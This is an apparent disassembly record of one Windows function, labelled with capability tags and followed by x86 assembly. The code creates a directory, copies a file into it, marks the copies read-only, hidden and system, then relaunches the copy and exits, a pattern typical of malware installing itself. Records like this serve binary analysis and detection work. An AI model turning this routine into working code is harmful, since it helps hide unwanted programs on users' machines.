Function at 0x40cdf9
Capabilities:
Copy file
Create directory
Create process on windows
Set file attributes
Terminate process

Disassembly:
sub esp, 0x38
push ebx
push ebp
push esi
push edi
push edx
pop edi
mov byte [esp + 0x17], cl
push edi
call fcn.0043bad6
mov ebp, 0x475308
pop ecx
test eax, eax
je 0x40ce60
push 0
push ebp
pop ecx
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
mov ebx, dword [esp + 0x4c]
lea ecx, [esp + 0x30]
push ebx
push 0x466608
push ebp
pop edx
call fcn.0040915b
pop ecx
push eax
pop edx
lea ecx, [esp + 0x1c]
call fcn.00403014
pop ecx
mov esi, 0x4752d8
push eax
push esi
pop ecx
call fcn.00401f13
lea ecx, [esp + 0x18]
call fcn.00401f09
jmp 0x40ce80
mov ebx, dword [esp + 0x4c]
lea ecx, [esp + 0x30]
mov dl, byte [esp + 0x17]
push ebx
call fcn.0040da34
pop ecx
mov esi, 0x4752d8
push eax
push esi
pop ecx
call fcn.00401f13
lea ecx, [esp + 0x30]
call fcn.00401f09
push esi
pop ecx
call fcn.00401f04
push eax
mov ebp, 0x472b38
push ebp
call fcn.0043f954
pop ecx
pop ecx
test eax, eax
jne 0x40cebf
mov ecx, 0x4752c0
call fcn.00401f04
push eax
push ecx
call fcn.0040cd0d
pop ecx
pop ecx
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret
push 0
push esi
pop ecx
call fcn.00401f04
push eax
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_CopyFileW]
call ebp
test eax, eax
jne 0x40cf99
cmp byte [esp + 0x17], 0x36
je 0x40cf99
push edi
call fcn.0043bad6
mov dl, 0x36
pop ecx
lea ecx, [esp + 0x30]
test eax, eax
je 0x40cf49
push edi
call fcn.0040da34
pop ecx
push eax
mov ecx, 0x475308
call fcn.00401f13
lea ecx, [esp + 0x30]
call fcn.00401f09
push ebx
push 0x466608
mov edx, 0x475308
lea ecx, [esp + 0x20]
call fcn.0040915b
pop ecx
push eax
pop edx
lea ecx, [esp + 0x34]
call fcn.00403014
pop ecx
push eax
push esi
pop ecx
call fcn.00401f13
lea ecx, [esp + 0x30]
call fcn.00401f09
lea ecx, [esp + 0x18]
jmp 0x40cf5c
push ebx
call fcn.0040da34
pop ecx
push eax
push esi
pop ecx
call fcn.00401f13
lea ecx, [esp + 0x30]
call fcn.00401f09
push 0
mov ecx, 0x475308
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
push 0
push esi
pop ecx
call fcn.00401f04
push eax
mov ebx, 0x472b38
push ebx
call ebp
test eax, eax
jne 0x40cf99
push ebx
push esi
pop ecx
call fcn.00409057
xor al, al
jmp 0x40ceb7
mov ecx, 0x4752c0
call fcn.00401f04
push eax
push ecx
call fcn.0040cd0d
cmp byte [esp + 0x58], 1
pop ecx
pop ecx
jne 0x40cfdf
push 7
push esi
pop ecx
call fcn.00401f04
mov ebx, dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
push eax
call ebx
push edi
call fcn.0043bad6
pop ecx
test eax, eax
je 0x40cfdf
push 7
mov ecx, 0x475308
call fcn.00401f04
push eax
call ebx
cmp byte [esp + 0x54], 0
je 0x40d027
sub esp, 0x1c
mov ecx, esp
push 0x472b38
call fcn.0040417e
push 0x466f6c
mov edx, 0x4752f0
lea ecx, [esp + 0x50]
call fcn.0041bc5e
push eax
pop ecx
call fcn.00401f04
push eax
pop edx
mov ecx, closesocket
call fcn.00413814
add esp, 0x20
lea ecx, [esp + 0x30]
call fcn.00401f09
push dword [0x472d44]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 1
mov eax, 0x466468
push esi
pop ecx
push eax
push eax
call fcn.00401f04
push eax
push 0x466108
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jg 0x40d060
call fcn.0040d069
jmp 0x40cf92
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]